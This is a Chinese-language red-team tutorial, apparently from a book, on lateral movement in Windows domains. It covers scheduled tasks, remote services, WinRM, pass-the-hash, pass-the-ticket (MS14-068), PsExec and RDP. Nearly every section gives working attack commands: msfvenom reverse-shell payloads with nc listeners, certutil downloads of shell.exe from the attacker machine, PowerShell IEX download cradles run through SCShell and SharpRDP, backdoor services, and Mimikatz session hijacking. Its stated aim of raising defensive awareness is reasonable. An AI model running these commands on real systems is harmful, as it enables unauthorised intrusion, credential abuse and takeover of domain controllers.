一、利用Windows计划任务横向移动
Windows计划任务是一个非常实用的功能,可以帮助我们自动完成一些重复性的任务。比如,我们可以设定一个计划任务来自动备份文件、更新软件、执行脚本等,本文主要介绍了如何利用Windows计划任务进行横向渗透。
(一)利用Windows计划任务横向移动技术详解
我们可以利用计划任务自带的执行属性去执行指定命令或运行指定程序,在本篇文章中笔者将会介绍如何计划任务自带的远程创建计划任务的功能去进行横向渗透,本节所使用的实验拓扑如图1-1所示,将会介绍如何在通过跳板机在靶标中远程创建计划任务并执行指定程序。
图1-1 利用计划任务进行横向渗透拓扑图
表1-1利用计划任务进行横向渗透实验环境
主机 | 服务类型 | IP地址 |
---|---|---|
Kali 2022 | 攻击机 | 10.10.10.2 |
Windows 2012 R2 | 跳板机 | 10.10.10.3、192.168.1.2 |
Windows 2008 R2 | 核心靶标 | 10.10.10.4、192.168.1.3 |
1. AT命令
AT命令是schtasks命令的前身,在Windows系统中主要用于创建和管理计划任务。在使用AT命令进行横向渗透之前,需要与目标建立IPC$连接。
1)目前已知靶标机器Administrator的密码为Admin123.,使用命令net use \\192.168.1.3\IPC$ "Admin123." /user:"administrator"来建立ICP$连接,命令执行结果如图1-2所示。使用命令net use可以查看IPC$连接是否创建成功。
图1-2 建立IPC$链接
2)创建一个能够创建用户的bat脚本,内容为net user hacker Admin123. /add,将该bat脚本命名为add.bat,如图1-3所示。
图1-3 bat文件内容
3)使用命令copy add.bat \\192.168.1.3\C$ 将bat脚本复制到目标主机C盘根目录下,命令执行结果如图1-4所示。
图1-4 复制文件到目标主机
4)使用命令at \\192.168.1.3 14:27 C:\add.bat创建一个在14:27执行的定时任务来执行bat文件,如图1-5所示。
图1-5 生成at创建计划任务
5)当执行完成后,在目标主机上查看结果,可以看到hacker用户被成功添加,如图1-6所示。
图1-6 at计划任务执行成功
2. Schtasks命令
schtasks命令是at命令的升级版,拥有更加自由地配置选项,在前面的内容中有过详细介绍,这里不赘述,通过表1-2来简单复习一下该命令参数。
表1-2 schtasks命令参数
命令参数 | 作用 |
---|---|
/S | 指定连接的远程IP |
/U | 指定用户名 |
/P | 指定用户名的密码 |
/RU | 指定用户权限 |
/TN | 任务计划名称 |
/SC | 制定计划类型 |
/TR | 指定任务运行的程序 |
/MO | 执行任务计划执行周期 |
1)在跳板机上使用命令net use \\192.168.1.3\IPC$ Password@123 /user:Administrator与核心靶标建立IPC连接,如图1-7所示。
图1-7 建立IPC链接
2)当建立好连接后,创建一个bat文件,写入内容start C:\windows\system32\calc.exe,并将文件名修改为calc.bat,如图1-8所示。
图1-8 bat文件内容
3)使用命令copy calc.bat \\192.168.1.3\c$把calc.bat文件复制到靶标机器的C盘根目录下,如图1-9所示。
图1-9复制文件
4)使用命令schtasks /create /s 192.168.1.3 /ru "SYSTEM" /tn calc /sc DAILY /tr c:\calc.bat /F在靶标机器上创建一个名为calc的计划任务,该计划任务将会以SYSTEM权限运行calc.bat打开计算机。命令执行结果如图1-10所示。
图1-10 创建计划任务
5)上述操作完成后,使用schtasks /run /s 192.168.1.3 /tn calc /i命令在目标机运行calc计划任务,通过运行上传的bat文件来打开靶标的计算机程序,命令执行结果如图1-11所示,可以得知计划任务成功运行。
图1-11 远程执行计划任务
6)此时靶标机器成功运行了计划任务并打开了计算机程序,如图1-12所示。
图1-12 计划任务执行成功
(二)本篇总结
本文介绍了如何利用Windows计划任务进行横向渗透。首先,通过AT命令创建和管理计划任务,建立IPC$连接,创建bat脚本并复制到目标主机,使用at命令创建定时任务执行脚本。接着,使用schtasks命令升级at命令,通过指定远程IP、用户名、密码、用户权限、任务计划名称、计划类型、任务运行的程序、执行周期等参数,创建计划任务并执行。
二、利用远程服务进行横向渗透
在Windows中,服务是指在Windows操作系统中运行的后台程序。在Windows中可以配置特定事件发生时执行某项服务,或按需启动。它们通常用于执行系统级任务,例如执行定时任务、管理网络连接或监控系统性能。在Windows中创建服务,我们可以指定运行者权限,并且设置启动类型为自动、手动或禁用。Windows提供了SCM用作服务管理,而我们可以通过sc或者Windows API——OpenSCManagerA——来远程连接SCM管理Windows服务。
(一)利用远程服务进行横向渗透技术详解
在Windows中,服务是指在Windows操作系统中运行的后台程序。在Windows中可以配置特定事件发生时执行某项服务,或按需启动。它们通常用于执行系统级任务,例如执行定时任务、管理网络连接或监控系统性能。在Windows中创建服务,我们可以指定运行者权限,并且设置启动类型为自动、手动或禁用。Windows提供了SCM用作服务管理,而我们可以通过sc或者Windows API——OpenSCManagerA——来远程连接SCM管理Windows服务。
1.利用SC创建远程服务进行横向渗透
SC是Windows中的一个工具命令集,主要通过操作服务控制管理器来与服务进行通信。利用SC可以远程开启关闭、增加与删除服务。注意,在利用SC创建远程服务之前我们需要有两端机器的管理员权限,并且已与目标机器建立IPC$连接。本次实验环境拓扑如图1-1所示,具体实验环境信息如表1-1所示。
图1-1利用sc创建远程服务进行横向渗透拓扑图
表1-1利用sc创建远程服务进行横向渗透实验环境
主机 | 服务类型 | IP地址 |
---|---|---|
Kali 2022 | 攻击机 | 10.10.10.2 |
Windows 2012 R2 | 跳板机 | 10.10.10.3、192.168.1.2 |
Windows 2008 R2 | 核心靶标 | 10.10.10.4、192.168.1.3 |
1)目前我们已经获取了跳板机权限。首先在攻击机kali上通过执行命令msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.10.2 lport=1338 -f exe > shell.exe来生成一个攻击机回连程序,命令执行结果如图1-2所示。
图1-2 生成回连攻击机程序
2)生成程序后,使用命令nc -lvnp 1338监听1338端口。当shell.exe被执行后将会向该端口回连并创建一个交互式会话,命令执行结果如图1-3所示。
图1-3 监听1338端口
3)再切换到跳板机,运用上文中攻击机已经搭建好的Web服务器,使用命令certutil -urlcache -split -f http://10.10.10.2:8080/shell.exe C:\shell.exe,通过certutil下载攻击机生成的回连程序,并将其保存到C盘根目录下,命令执行结果如图1-4所示。
图1-4 通过Certutil下载文件
4)使用dir c:\查看文件是否下载到跳板机的C盘下,如图1-5所示。
图1-5 查看C盘目录
5)利用和靶标机器已经建立的IPC连接,使用copy shell.exe \\192.168.1.3\C$命令把攻击机生成的回连程序复制到靶标机器的C盘根目录下,如图1-6所示。
图1-6 复制文件
6)使用命令sc \\192.168.1.3 create backdoorServer binpath= "C:\shell.exe"在靶标机器上创建一个名为backdoorServer的服务,该服务的可执行文件路径被指向shell.exe,命令执行结果如图1-7所示。
图1-7 使用sc命令创建服务
7)使用命令sc \\192.168.1.3 start backdoorServer启动backdoorServer服务。启动该服务后,服务相对应的可执行文件将会被执行,如图1-8所示。注意,提示失败并不会影响shell.exe的运行。
图1-8 触发服务
8)最终结果如图1-9所示,可以看到攻击机1338端口成功接收到靶标机器回连,并建立交互式会话。
图1-9 获取权限
2.利用SCShell进行横向渗透
SCShell是一个无文件地横向移动工具,它通过调用Windows中的ChangeServiceConfigA函数来执行命令,函数中具体参数的含义如下面代码所示。ScShell通过ChangeServiceConfig函数的第五个参数lpBinaryPathName来定义服务的可执行文件路径,而该路径也可以设置为任意命令。SCShell的巧妙之处在于不对SMB执行身份验证,一切都在DCERPC上面执行,具体实验环境信息参考表1-2。
代码语言:javascript
复制
BOOL ChangeServiceConfig(
SC_HANDLE hService // 打开服务时返回的句柄
DWORD dwServiceType, // 服务的类型
DWORD dwStartType, // 何时启动服务
DWORD dwErrorControl, // 错误控制代码
LPCTSTR lpBinaryPathName, // 服务的路径
LPCTSTR lpLoadOrderGroup, // 服务所属的组
LPDWORD lpdwTagId, // 服务的标记
LPCTSTR lpDependencies, // 依赖的其他服务和组
LPCTSTR lpServiceStartName, // 服务的启动用户
LPCTSTR lpPassword, //服务启动用户的密码
LPCTSTR lpDisplayName // 服务的显示名
);
表1-2利用SCShell进行横向渗透实验环境信息
主机 | 服务类型 | IP地址 |
---|---|---|
Windows 2012 R2 | 跳板机 | 192.168.1.3,10.10.10.4 |
Windows 2012 R2 | 靶标 | 192.168.1.2,10.10.10.3 |
在使用ScShell之前,我们需要知道靶标机器的管理员凭据以及靶标机器当前所运行的系统服务名称。我们可以使用svchost.exe系统中自带的defragsvc服务来作为我们在靶标机器上通过SCShell所加载利用的远程服务,使用以下命令。
代码语言:javascript
复制
scshell.exe 192.168.1.2 defragsvc "c:\windows\system32\cmd.exe /c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.3:80/ad'))\"" . Administrator Password@123"
执行结果如图1-10,最终效果如图1-11所示。
图1-10 利用SCShell远程加载Powershell
图1-11 获取靶标机器的SYSTEM会话
(二)本篇总结
本文主要介绍了利用远程服务进行横向渗透的方法,读者阅读本章内容后就能够理解,红队人员一旦通过外部某一个点进入了企业内部网络之中,那么内网之中所有的安全防护设备将会形同虚设,红队人员在内网之中获取核心靶标的系统权限如同探囊取物。因此,如何有效地建立内网横向渗透安全防护体系就成了大部分企业及蓝队防守人员值得思考的问题,笔者希望通过本章对红队人员进行横向渗透所常利用的手法的介绍,读者能够对内网安全体系建设引起更多的重视和思考。
三、利用WinRM进行横向渗透
WinRM的远程管理服务是微软的WS-Management协议的实现。WS-Management协议是基于简单对象访问协议(SOAP)的防火墙友好的协议。在Windows 2008以上版本的操作系统中,WinRM服务都是自动开启的。WinRM的默认管理端口为5985。本篇文章将会介绍如何通过WinRM进行横向渗透。
(一)利用WinRM进行横向渗透技术详解
WinRM的远程管理服务是微软的WS-Management协议的实现。WS-Management协议是基于简单对象访问协议(SOAP)的防火墙友好的协议。在Windows 2008以上版本的操作系统中,WinRM服务都是自动开启的。WinRM的默认管理端口为5985。利用WinRM进行横向渗透拓扑图如图1-1所示,实验环境如表1-1所示。
图1-1 利用WinRM进行横向渗透拓扑图
表1-1 利用WinRM进行横向渗透实验环境
主机 | 服务类型 | IP地址 |
---|---|---|
Kali 2022 | 攻击机 | 10.10.10.2 |
Windows 2012 R2 | 跳板机 | 10.10.10.3、192.168.1.2 |
Windows 2008 R2 | 核心靶标 | 10.10.10.4、192.168.1.3 |
1. WinRS
WinRS是Windows的远程Shell,相当于WinRM的客户端。使用WinRS可以访问运行有WinRM的服务器,可以与目标主机形成交互式会话。切换到跳板机,在没有加入域控的情况下,使用WinRS命令需先将靶标机器的IP加入客户端信任列表,在cmd和powershell下都可以使用命令将靶标机器的IP加入客户端信任列表中,如图1-2所示。
代码语言:javascript
复制
winrm set winrm/config/Client@{TrustedHosts="192.168.1.3"}
图1-2 加入信任列表
使用命令winrs -r:http://192.168.1.3:5985 -u:administrator -p :Admin123.即可获取靶标机器的交互式会话,如图1-3所示。
图1-3 获取交互式会话
2.Invoke-Command
Invoke-Command是一个 PowerShell命令,该命令可用于在远程机器上运行脚本或其他命令,并且可以同时在多台机器上运行命令。Invoke-Command使用WinRM服务在远程计算机上执行命令。要使用 Invoke-Command则必须在远程机器上具有适当的权限,并且WinRM服务必须在远程计算机上运行。首先,在攻击机上执行命令msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.10.2 lport=1342 -f exe > invoke.exe,生成一个可在目标机器上执行的回连攻击机程序,命令执行结果如图1-4所示。
图1-4生成回连攻击机程序
生成回连攻击机程序后,使用命令nc -lvnp 1342去监听生成回连的端口1342,命令执行结果如图1-5所示。
图1-5 监听端口
切换到跳板机,利用攻击机搭建的Web服务器,使用命令certutil -urlcache -split -f
http://10.10.10.2:8080/invoke.exe C:\invoke.exe
通过certutil下载攻击机生成的回连攻击机程序,并将该文件保存到C盘根目录下,文件命名为invoke.exe,如图1-6所示。
图1-6 下载文件
利用跳板机和靶标机器已建立的IPC连接,使用copy invoke.exe \\192.168.1.3\C$命令把invoke.exe文件复制到靶标机器的C盘根目录下,命令执行结果如图1-7所示。
图1-7 复制文件
上文已经把靶标机器的IP加入了信任域,无须再添加。接下来在跳板机中使用Powershell运行Invoke-Command命令,输入Invoke-Command -ComputerName 192.168.1.3 -Credential administrator -Command {C:\invoke.exe}命令来远程连接靶标机器,执行invoke.exe文件,命令执行结果如图1-8所示。
图1-8 使用Invoke-Command远程执行命令
对图中的参数进行说明,如下。
-ComputerName:指定主机名/IP。
-Credential:指定目标用户名。
-Command:指定需要执行的程序。
我们返回到攻击机kali上查看回连端口情况,可以看到成功获取到靶标机器的权限,如图1-9所示。
图1-9 获得反弹SHELL
3. Enter-PSSession
Enter-PSSession是Powershell自带的一条命令,主要用于与远程主机建立交互式会话。该命令与WinrRS具有同样的效果,都是通过WinRM建立连接的,且都能返回一个交互式会话。
1)在攻击机上,通过执行命令msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.10.2 lport=1345 -f exe > enter.exe生成一个可在靶标机器上执行的回连攻击机程序,命令执行结果如图1-10所示。
图1-10 生成回连攻击机程序
2)使用命令nc -lvnp 1345监听回连端口,命令执行结果如图1-11所示。
图1-11 监听端口
3)切换到跳板机,在powershell下使用命令New-PSSession -ComputerName 192.168.1.3 -Credential administrator -Port 5985与靶标机器创建远程交互会话,执行结果如图1-12所示,此时会弹出一个凭据请求要求你输入靶标机器administrator用户的凭据信息,输入正确密码通过验证后将会创建一个新会话,如图1-13所示。
图1-12 验证票据
图1-13 创建会话
4)使用Enter-PSSession -name Session2命令进入交互式会话,如图1-14所示。
图1-14 进入交互式会话
5)使靶标机器通过攻击机搭建的Web服务器去下载回连攻击机程序。使用命令certutil -urlcache -split -f http://10.10.10.2:8080/enter.exe C:\enter.exe,
通过certutil下载攻击机kali生成的回连攻击机程序,将其直接下载到靶标机器的C盘根目录下,并命名为enter.exe。命令执行结果如图1-15所示。
图1-15 下载文件
6)使用start enter.exe命令来运行回连攻击机程序,命令执行结果如图1-16所示。
图1-16 启动文件
7)返回到攻击机,查看回连端口信息,可以看到已经获得靶标机器的权限,如图1-17所示。
图1-17 获取权限
(二)本篇总结
本文主要介绍了利用WinRM进行横向渗透的方法,读者阅读本章内容后就能够理解,红队人员一旦通过外部某一个点进入了企业内部网络之中,那么内网之中所有的安全防护设备将会形同虚设,红队人员在内网之中获取核心靶标的系统权限如同探囊取物。因此,如何有效地建立内网横向渗透安全防护体系就成了大部分企业及蓝队防守人员值得思考的问题,笔者希望通过本章对红队人员进行横向渗透所常利用的手法的介绍,读者能够对内网安全体系建设引起更多的重视和思考。
四、利用PTH(哈希传递)进行横向渗透
PTH(Pass The Hash,哈希传递)攻击是一种很典型的内网渗透攻击方式。它是通过寻找账号相关的密码散列值(通常是NTLM哈希值)进行NTLM认证,在Windows中应用程序需要用户提供明文密码,最后调用LsalogonUser之类的API将密码进行转换,转换后在NTLM身份认证时将哈希值发送给远程服务器,而这个网络认证之间的过程其实并不需要明文密码。也就是说,利用这个机制,攻击者可以不提供明文密码,而是通过NTLM哈希或者LM哈希进行远程访问。
(一).哈希传递(Pass The Hash)技术详解
PTH(Pass The Hash,哈希传递)攻击是一种很典型的内网渗透攻击方式。它是通过寻找账号相关的密码散列值(通常是NTLM哈希值)进行NTLM认证,在Windows中应用程序需要用户提供明文密码,最后调用LsalogonUser之类的API将密码进行转换,转换后在NTLM身份认证时将哈希值发送给远程服务器,而这个网络认证之间的过程其实并不需要明文密码。也就是说,利用这个机制,攻击者可以不提供明文密码,而是通过NTLM哈希或者LM哈希进行远程访问。
而我们所要讲的PTH攻击可以说是基于NTLM认证缺陷的一种攻击方式,攻击者可以利用获取的用户密码哈希值来进行NTLM认证。
假设在域环境中,计算机登录时会使用相同的本地管理员账号和密码。那么攻击者就能利用PTH攻击的手段访问其他登录内网的计算机。通过这种攻击方式,攻击者不需要花时间破解密码哈希值来获取明文密码,而可以直接通过哈希值来实现对其他域内计算机的控制。这种攻击方法的实验拓扑图如图1-1所示,而实验环境参考表1-1。
图1-1实验拓扑图
表1-1实验环境
主机 | 域名 | IP地址 | NTLM 哈希值 |
---|---|---|---|
Kali 2022 | test.com | 192.168.1.9 , 10.10.10.2 | |
Windows server 2012 | test.com | 192.168.1.2 , 10.10.10.3 | 3766c17d09689c438a072a33270cb6f5 |
windows server 2008 | test.com | 192.168.1.3 , 10.10.10.4 | 3766c17d09689c438a072a33270cb6f5 |
Windows server 2008 | test.com | 192.168.1.4 , 10.10.10.5 | 3766c17d09689c438a072a33270cb6f5 |
1.使用crackmapexec进行PTH攻击
Crackmapexec是一款针对AD的后渗透工具,能帮助我们对大型AD网络的安全性进行评估。该工具是利用AD内置功能/协议达成目的的,能规避大多数终端防护/IDS/IPS解决方案。并且,该工具在Kali中安装的方法很简单,使用apt-get install crackmapexec命令即可安装,其他操作系统的安装方法可以参考官方文档。
该工具通常应用在后渗透阶段。假设我们在内网中已经控制了一台服务器(这里以Kali为例),就可以使用该工具对AD进行相关测试。该工具功能强大,可以查看帮助信息获取相关功能的使用方法,如图1-2所示。
图1-2 crackmapexec参数详情
下面演示如何使用crackmapexec工具,通过Crackmapexec smb -h命令,获取指定协议的相关帮助信息,如图1-3所示。
图1-3 获取帮助信息
Kali系统自带Crackmapexec。直接在Kali中执行crackmapexec smb 192.168.1.2 -u Administrator -H 3766c17d09689c438a072a33270cb6f5 -d test.com -x whoami命令。其中参数包括:-u指定用户,-H指定哈希值,-d指定域,-x指定要执行的命令。此时已经获得权限,最后的执行结果如图1-4所示。
图1-4 利用crackmapexec进行PTH攻击
2.通过wmiexec对WMI进行PTH
PTH攻击除了通过SMB进行以外,还可以使用WMI进行。下面我们使用Impacket中的wmiexec进行PTH攻击。
在kali下载好Impacket后,执行python3 wmiexec.py -hashes 00000000000000000000000000000000:3766c17d09689c438a072a33270cb6f5 test.com/Administrator@192.168.1.2,执行结果如图1-5所示。
图1-5 利用wmiexec进行PTH攻击
3.防御PTH攻击
对PTH攻击很难做到彻底防御,因为这个攻击方式本身利用了NTLM认证的特性,我们所做的只是降低PTH攻击的成功率,具体方法列举如下。
- 安装杀毒软件:通过安装杀毒软件防止攻击者用一些常规工具进行PTH攻击以及盗取哈希。
- 开启防火墙:通过开启防火墙的方式,禁止从445、135等端口进行通信。
- 将FilterAdministratorToken的值设置为1,限制本地administrator账户的远程登录。
五、利用PTT(票据传递)进行横向渗透
PTT(Pass the Ticket,票据传递)攻击是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。这种攻击手段可以用Kerberos票据进行内网横向渗透,不需要管理员权限,它最常见的用途可能是使用黄金票据和白银票据,通过票据传递访问主机,其利用方法十分简单。例如,通过这种手段,攻击者可以从Linux系统中窃取Kerberos凭据,然后在身份验证时将其传递到Windows机器上,达到横向渗透的结果。
(一)利用票据传递(Pass the Ticket)进行横向渗透技术详解
1.MS14-068
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞,位于域控制器的密钥分发中心的kdcsvc.dll。它允许经过身份验证的用户在其Kerberos票证中插入任意PAC,并且可能允许攻击者将未经授权的域用户账户的权限提升为域管理员的权限。攻击者可以通过构造特定的请求包来达到提升权限的目的。
该漏洞的利用条件如下。
- 获取域普通用户的账号密码。
- 获取域普通用户的SID。
- 服务器未安装KB3011780补丁。
利用过程如下。
1)查看服务器是否安装KB3011780补丁。执行命令systeminfo来获取系统详细信息,命令执行结果如图1-1所示。
图1-1 查看是否安装补丁程序
2)获取用户的SID值。本次使用的域用户为test1,该用户为域内普通用户,使用命令 whoami /all查询用户SID,执行结果如图1-2所示,可以看到当前用户的SID的值为S-1-5-21-852302026-1017351130-1254579120-1104。
图1-2获取SID值
3)创建票据之前要清空系统内票据。使用Mimikatz工具删除票据,执行命令kerberos::purge,命令执行结果如图1-3所示。
图1-3 清空系统内票据
4)下载ms14-068.exe漏洞利用程序到机器上进行测试,输入命令ms14-068.exe -u Administrator@test.com -p Admin123. -s S-1-5-21-852302026-1017351130-1254579120-1104 -d 192.168.1.2,其中-u参数用来指定域用户@域名,-p参数用来指定域用户密码,-s参数用来指定域用户SID,-d参数用来指定域控IP。命令执行结果如图1-4所示。
图1-4 漏洞利用测试
5)漏洞利用成功后会生成相应票据,我们使用Mimikatz将凭据注入内存中,执行命令 “kerberos::ptc 票据”,命令执行结果如图1-5所示。
图1-5证书导入
6)将票据注入内存中后,使用psexec.exe工具连接域控建立交互式会话,执行命令 psexec.exe \\192.168.1.2 cmd.exe即可获取域控权限,命令执行结果如图1-6所示。
图1-6 获取域控权限
2.使用kekeo进行票据传递
kekeo工具是一款开源工具,主要用来进行票据传递、S4U约束委派滥用等。如果想要使用该工具生成票据,则需要使用域名、用户名、哈希配合。
1)首先我们使用cmd打开当前工具的目录,输入命令kekeo.exe "tgt::ask /user:Administrator /domain:test.com /ntlm:3766c17d09689c438a072a33270cb6f5"后将会生成票据,如图1-7所示。
图1-7 生成票据
2)注入票据之前需要清理当前系统所存票据。使用命令kerberos::purge来清除当前内存中其他票据,如果不清除原有票据可能会导致注入票据失败,命令执行结果如图1-8所示。
图1-8 清除内存票据
3)执行命令“kerberos::ptt 票据路径”,将票据注入内存中。命令执行结果如图1-9所示。
图1-9 票据导入
4)注入完成后,使用命令klist来查看票据是否注入成功。命令执行结果如图1-10所示,可以看到票据注入成功。
图1-10查看票据信息
5)使用dir命令来验证票据是否具有权限。使用命令dir \\192.168.1.2\C$远程查看域控的C盘目录下的文件,命令执行结果如图1-11所示,可以看到已经能够访问域控下文件。
图1-11 列出域控下文件
(二)本篇总结
本文介绍了一种利用Kerberos票据进行横向渗透的攻击手段——PTT(票据传递)攻击。攻击者可以通过这种手段从Linux系统中窃取Kerberos凭据,然后在身份验证时将其传递到Windows机器上,达到横向渗透的结果。文章还详细介绍了利用MS14-068漏洞进行PTT攻击的过程,以及使用kekeo工具进行票据传递的方法。最后,文章通过实例演示了如何利用票据传递攻击获取域控权限。
六、利用Psexec进行横向渗透
Psexec最早由Mark Russinovich创建并发布在Sysinternals Suite上,Sysinternals Suite是微软发布的工具程序集。Psexec的设计目的是替代telnet来帮助系统管理员进行远程管理。我们使用Psexec,可以通过SMB协议在远程主机上运行命令,我们无须在远程主机上面安装任何客户端程序就可以远程管理,并且可以获得一个强交互的命令控制台。
(一)利用Psexec进行横向渗透技术详解
Psexec最早由Mark Russinovich创建并发布在Sysinternals Suite上,Sysinternals Suite是微软发布的工具程序集。Psexec的设计目的是替代telnet来帮助系统管理员进行远程管理。我们使用Psexec,可以通过SMB协议在远程主机上运行命令,我们无须在远程主机上面安装任何客户端程序就可以远程管理,并且可以获得一个强交互的命令控制台。
Psexec的实际工作原理是:首先与远程主机建立IPC$连接,并向远程主机传输Psexecsvc.exe,传输到远程主机的默认共享文件夹中;然后打开\\RDC\pipe\svcctl,也就是SCManager(服务控制管理器),远程创建并启动一个名为Psexecsvc的服务;接着生成4个命名管道,分别用于Psexecsvc服务本身、stdin、stdout、stderr。我们发送命令给远程主机之后,远程主机启动相应程序,并通过命名管道将执行的结果返回。利用Psexec创建远程服务进行横向渗透的拓扑图如图1-1所示,实验环境参考表1-1。
图1-1 利用Psexec创建远程服务进行横向渗透拓扑图
表1-1 利用Psexec创建远程服务进行横向渗透实验环境
主机 | 服务类型 | IP地址 |
---|---|---|
Kali 2022 | 攻击机 | 10.10.10.2 |
Windows 2012 R2 | 跳板机 | 192.168.1.2、172.16.224.140 |
Windows 2008 R2 | 核心靶标 | 192.168.1.3、172.16.224.158 |
1.利用Psexec获取交互式会话
通过Psexec,我们可以和目标建立交互式会话,但使用的前提是获取对方的凭据信息及对方开启默认共享服务。满足前置条件后,使用命令"PsExec.exe -accepteula \\192.168.1.3 -u administrator -p Password@123 -i cmd.exe进行连接。在这条命令中,-u参数指定登录的用户名,-p参数指定登录用户密码,-i参数指定运行程序并产生交互。命令执行结果如图1-2所示。
图1-2 使用PsExec建立交互Shell
通过Psexec的-s参数,可以指定程序以System权限运行。使用命令PsExec.exe -accepteula \\192.168.1.3 -u administrator -p Password@123 -s cmd.exe,命令执行结果如图1-3所示。
图1-3 使用PsExec建立交互Shell
2.建立IPC$连接获取交互式会话
Psexec本身可以直接通过当前系统已创建的IPC$连接来建立交互式会话。在跳板机中使用net use \\192.168.1.3\IPC$ "Password@123" /user:"Administrator"命令,建立与靶标机器的IPC$连接,命令执行结果如图1-4所示。
图1-4 建立IPC连接
当建立IPC$连接后,使用Psexec连接目标机器,执行命令Psexec.exe \\192.168.1.3-s cmd.exe,即可与靶标机器建立交互式会话,命令执行结果如图1-5所示。
图1-5 使用Psexec建立交互Shell
(二)本篇总结
本文介绍了一种利用Psexec进行横向渗透手法,我们可以使用Psexec,可以通过SMB协议在远程主机上运行命令,我们无须在远程主机上面安装任何客户端程序就可以远程管理,并且可以获得一个强交互的命令控制台。
七、 利用RDP进行横向渗透
横向移动是网络攻击中的一个阶段,攻击者在获得对网络中某一系统的访问权限后,尝试访问其他系统以拓展其控制范围。利用RDP(远程桌面协议)进行横向渗透是一种常见的方法,主要因为RDP(远程桌面协议)是微软开发的一种协议,它允许用户通过网络连接到另一台电脑。这种连接允许远程用户在其本地计算机上看到并控制另一台电脑的桌面界面。这在远程工作、IT支持和远程系统管理中非常有用,本篇文章主要针对了RDP(远程桌面协议)在横向移动中的进行了介绍。
(一)利用RDP进行横向渗透
1.针对RDP的PTH攻击
在介绍针对RDP的PTH之前我们需要了解一个安全措施——Restricted Admin Mode(受限管理模式)。该模式是Windows中的一个功能,当用户登录到一台已知被控主机时,它可以保护密码不会被保存在被控主机的内存中,但是更改了远程桌面协议,使用的是网络登录而不是交互式登录,从而导致用户可以使用NTLM哈希或者Kerberos票据进行身份验证。但是该模式仅仅存在于Windows Server 2012 R2以及Windows 8.1以上版本的操作系统中,如果你的操作系统不符合要求,则需要安装相应的补丁。
要注意一点,Restricted Admin Mode是建立在kerberos基础上的,也就是说只有在域环境中才能进行利用它。
1)通过修改注册表来开启Restricted Admin Mode,使用命令REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f"。开启完成后查看是否开启成功 执行命令 "REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin",若DisableRestrictedAdmin值为0则代表开启成功,执行结果如图1-1所示。
图1-1 开启Restricted Admin Mode
2)已知目标Hash值为a29f7623fd11550def0192de9246f46b,在Mimikatz中执行如下命令。
代码语言:javascript
复制
privilege::debug
sekurlsa::pth /user:Administrator /domain:test.com /ntlm:a29f7623fd11550def0192de9246f46b /run:"mstsc.exe /restrictedadmin"
3)命令执行结果如图1-2所示,可以看到成功打开一个mstsc进程。点击“下一步”,然后直接连接,如图1-3所示,可以看到登录后的用户依然是我们伪造的用户。
图1-2 针对RDP进行PTH
图1-3 成功获取权限
2.RDP会话劫持
Windows允许多个用户登录一台主机。在任务管理器中的用户窗口,我们可以查看到当前主机有多少用户登录。我们如果想要切换到另外一个会话,则可以在想要连接的目标会话上右击“连接”,如图1-4所示,点击后会弹出一个凭据窗口要求输入凭据。或者,我们在命令提示符中使用tscon来连接,命令执行结果如图1-5所示。2017年安全研究员Alexander Korznikov发现,在System权限下通过tscon可以在不输入用户凭据的前提下切换用户会话。
图1-4 用户窗口
图1-5 tscon要求输入凭证
使用命令quser查询当前Windows主机内存在的用户会话,执行结果如图1-6所示。
图1-6 查询存在的用户会话
在这里指定apple为当前使用的用户,指定test1为需要劫持的用户,使用命令sc create rdphj binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#1"来创建一个服务。创建之前需要确保apple用户为管理员用户,且不被UAC所限。执行结果如图1-7所示。
图1-7 SC创建服务
使用命令net start rdphj来运行刚刚创建的服务,运行成功后可以看到弹出一个新的窗口,执行whoami发现切换成功,执行结果如图1-8所示。
图1-8 切换用户成功
如果当前用户已经是管理员权限并且不被UAC限制,则可以通过伪造Token的方式去获取System权限,并使用tscon切换会话,执行结果如图1-9所示,运行tscon命令后将会切换至tscon用户的RDP远程界面。
图1-9 获取SYSTEM权限
Mimikatz同样支持RDP会话劫持。首先使用命令privilege::debug获取debug权限,然后执行ts::sessions命令列出当前Windows上的用户会话,如图1-10所示。
图1-10 列出当前系统会话
在Mimikatz中运行命令token::elevate来提权至System,提权成功后使用命令ts::remote /id:2来劫持会话ID为2的会话,在这里test1用户的会话ID为2,劫持后将会弹出会话ID为2的桌面,最后结果如图1-11所示,可以看出成功切换用户至test1。
图1-11 切换用户成功
3.使用SharpRDP进行横向渗透
SharpRDP是一款可以不借助远程桌面GUI的情况下,通过RDP协议进行命令执行的程序。它主要通过使用mstscax.dll来进行操作的。当我们使用SharpRDP连接目标主机之后,SharpRDP会使用SendKeys的方法将虚拟击键发送到远程系统中,在默认情况下会打开运行窗口,然后打开powerhsell或者CMD运行我们输入的命令。所有的命令都会在RDP协议中进行通信,无须打开GUI客户端。我们需要使用Cobal Strike来帮助我们进行目标上线工作,开启一个Web服务器并放置一个能够回连攻击机的Powershell脚本,设置方式如图1-12、图1-13所示。
图1-12 创建回连攻击机的Powershell脚本
图1-13 设置Powerhsell存放地址
点击launch之后会生成命令,使用SharpRDP执行该命令
代码语言:javascript
复制
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.3:80/a'))"。
使用命令执行结果如图1-14所示。而从图1-15中可以看出,目标已经成功执行指定的Powershell脚本。
代码语言:javascript
复制
SharpRDP.exe computername=192.168.1.2 command="powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.3:80/a'))\"" username=Administrator password=Password@123
图1-14 SharpRDP远程执行命令
图1-15 成功获取到SHELL
(二)本篇总结
本文介绍了利用RDP进行横向渗透的三种方法。首先,通过修改注册表开启Restricted Admin Mode,使用Mimikatz进行PTH攻击,成功获取目标权限。其次,通过Windows允许多个用户登录的特性,使用tscon命令或Mimikatz进行会话劫持,切换至其他用户会话。最后,使用SharpRDP在不借助远程桌面GUI的情况下,通过RDP协议进行命令执行,结合Cobal Strike实现目标上线。
八、利用WMI进行横向渗透
